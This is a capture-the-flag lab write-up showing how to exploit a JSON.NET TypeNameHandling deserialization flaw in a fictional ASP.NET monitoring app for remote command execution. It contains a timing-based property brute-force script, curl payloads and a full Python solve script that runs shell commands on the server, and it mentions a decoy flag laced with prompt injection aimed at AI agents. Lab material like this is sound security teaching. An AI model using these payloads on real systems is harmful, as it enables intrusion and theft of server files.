Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling
Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: application_specific_gadget_chain, decoy_flag_avoidance, file_write_to_webroot_exfiltration, json_net_typenamehandling_type_injection, timing_based_property_discovery
Summary
Walkthrough of the CUSTOM Web Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling. Task: ASP.NET Core monitoring platform uses Newtonsoft.Json TypeNameHandling on heartbeat API endpoint, accepting polymorphic $type in Metrics field. Solution: inject application-specific SystemDiagno
Description
PulseGuard is an infrastructure monitoring platform built by SentinelOps that provides real-time server monitoring with agent-based data collection. The platform features a dashboard with uptime metrics, alert management, server inventory, and agent configuration. Registered users can manage monitoring agents that report server health data via a JSON API. The platform tracks CPU, memory, disk, and network metrics across your server fleet, with automated alerting and SLA compliance reporting. Your goal is to find and exploit a vulnerability in the application to read the contents of /root/flag.txt on the server.
English summary: An ASP.NET Core 8.0 monitoring platform uses Newtonsoft.Json with TypeNameHandling enabled on its agent heartbeat API. The Metrics field accepts polymorphic types via $type annotation. An application-specific type PulseGuard.Models.SystemDiagnostic has a ScriptPath property whose setter triggers OS command execution during deserialization, enabling RCE.
Analysis
Reconnaissance
The target is an ASP.NET Core 8.0 application behind nginx/1.25.5 running on Linux, using Newtonsoft.Json for JSON serialization. Login with user@test.com / password123 reveals a monitoring dashboard with pages: Dashboard, Alerts, Servers, Agents, Reports, Settings.
Decoy flag detection: The HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with surrounding prompt injection text — this is a honeypot designed to trap automated scanners and AI agents.
Agent API Discovery
The Agents page documents two API endpoints:
POST /api/agents/heartbeat— accepts JSON payloads with polymorphicMetricsandExtensionsfields, explicitly noting "Newtonsoft.Json with TypeNameHandling for backward compatibility"GET /api/agents/diagnostics— returns system diagnostic info (runsuptimecommand internally), mentionsPulseGuard.Models.SystemDiagnostic
Agent API keys are visible on the page (e.g., pgk_a1b2c3d4e5f6g7h8i9j0), used via X-Api-Key header.
Confirming TypeNameHandling
Sending $type annotations in the Metrics field confirms TypeNameHandling is active:
- Invalid type (
System.Windows.Data.ObjectDataProvider, PresentationFramework) → error:"Error resolving type specified in JSON '...'"— confirms type resolution is attempted - Wrong base type (
$type: PulseGuard.Models.SystemDiagnostic, PulseGuardat root level) → error:"Type specified in JSON 'PulseGuard.Models.SystemDiagnostic' is not compatible with 'PulseGuard.Models.HeartbeatPayload'"— reveals both internal type names - Correct placement (
$type: PulseGuard.Models.SystemDiagnostic, PulseGuardinsideMetrics) → 200 OK — type is accepted as a valid polymorphic substitution
Why Standard Gadgets Fail
On .NET Core running on Linux, the standard ysoserial.net gadget chains are unavailable:
- ObjectDataProvider — requires
PresentationFramework(WPF, Windows-only) - TextFormattingRunProperties — requires
PresentationFramework - System.Diagnostics.Process — type resolves but
Process.Start()is not called during deserialization (no property setter triggers it) - ClaimsIdentity bridge — type resolves but requires a BinaryFormatter inner payload, impractical to generate externally
The intended path is an application-specific gadget: the SystemDiagnostic model class.
Timing-Based Property Discovery
With the correct type identified but no knowledge of which property triggers command execution, a systematic timing-based brute force was performed:
python read-only • copy allowedimport requests, time properties = ["Command", "Cmd", "Shell", "Exec", "Run", "Execute", "CommandLine", "ShellCommand", "CheckCommand", "DiagnosticCommand", "HealthCheckCommand", "Script", "ScriptPath", "ScriptBody", "CommandText", "ProcessCommand", "BashCommand", "LinuxCommand", ...] for prop in properties: metrics = { "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard", prop: "sleep 3" } start = time.time() resp = send_heartbeat(metrics) elapsed = time.time() - start if elapsed > 2: print(f"DELAY with {prop}: {elapsed:.1f}s")
Results:
- Most properties: ~0.2–0.5s response time (no execution)
ScriptPath: 3.1s withsleep 3, 5.4s withsleep 5— confirmed OS command execution during deserialization
The ScriptPath property setter on SystemDiagnostic passes its value to a shell execution function (likely Process.Start("/bin/bash", "-c " + value) or similar) when the property is set during JSON deserialization.
Solution
Step 1: Login and Obtain Session
bash read-only • copy allowedcurl -c cookies.txt -X POST "$TARGET/account/login" \ -d "email=user@test.com&password=password123"
Step 2: Copy Flag to Web-Accessible Directory
bash read-only • copy allowedcurl -b cookies.txt -X POST "$TARGET/api/agents/heartbeat" \ -H "Content-Type: application/json" \ -H "X-Api-Key: pgk_a1b2c3d4e5f6g7h8i9j0" \ -d '{ "AgentId": "agent-web-prod-01", "Hostname": "web-prod-01", "Timestamp": "2024-11-15T10:30:00Z", "Metrics": { "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard", "ScriptPath": "cp /root/flag.txt /app/wwwroot/uploads/f.txt" }, "Tags": ["production"] }'
Step 3: Read the Flag
bash read-only • copy allowedcurl "$TARGET/uploads/f.txt" # → FLAG{REDACTED}
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for PulseGuard Lab 172 — JSON.NET TypeNameHandling RCE. Target: ASP.NET Core 8.0 on Linux with Newtonsoft.Json TypeNameHandling enabled. Gadget: PulseGuard.Models.SystemDiagnostic.ScriptPath property setter executes OS commands during deserialization. """ import requests import urllib3 urllib3.disable_warnings() TARGET = "https://<instance>.labs.hackadvisor.io" API_KEY = "pgk_a1b2c3d4e5f6g7h8i9j0" s = requests.Session() s.verify = False # Step 1: Login s.post(f"{TARGET}/account/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: RCE via TypeNameHandling — copy flag to webroot headers = {"Content-Type": "application/json", "X-Api-Key": API_KEY} payload = { "AgentId": "agent-web-prod-01", "Hostname": "web-prod-01", "Timestamp": "2024-11-15T10:30:00Z", "Metrics": { "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard", "ScriptPath": "cp /root/flag.txt /app/wwwroot/uploads/f.txt" }, "Tags": ["production"] } resp = s.post(f"{TARGET}/api/agents/heartbeat", headers=headers, json=payload) print(f"Heartbeat: {resp.status_code}") # Step 3: Read flag resp = s.get(f"{TARGET}/uploads/f.txt") print(f"Flag: {resp.text.strip()}")
What Failed
- ObjectDataProvider gadget —
PresentationFrameworkassembly not available on .NET Core/Linux - System.Diagnostics.Process as $type — type resolved but
Process.Start()not invoked during deserialization - Standard ysoserial.net gadgets — most require Windows/.NET Framework assemblies absent on Linux
- ClaimsIdentity bridge gadget — type resolved but generating a valid BinaryFormatter inner payload from Python was impractical
- ~40 property names on SystemDiagnostic —
Command,Cmd,Shell,Exec,Run,Execute,CommandLine,ShellCommand,CheckCommand,DiagnosticCommand,HealthCheckCommand,Script,BashCommand, etc. — none triggered execution; onlyScriptPathworked - Diagnostics endpoint manipulation — the
GET /api/agents/diagnosticsendpoint always ran its own hardcodeduptimecommand regardless of heartbeat data
Key Takeaways / Lessons
- Mastering application_specific_gadget_chain, decoy_flag_avoidance, file_write_to_webroot_exfiltration, json_net_typenamehandling_type_injection, timing_based_property_discovery was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-20 • CUSTOM • Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling • Difficulty: Medium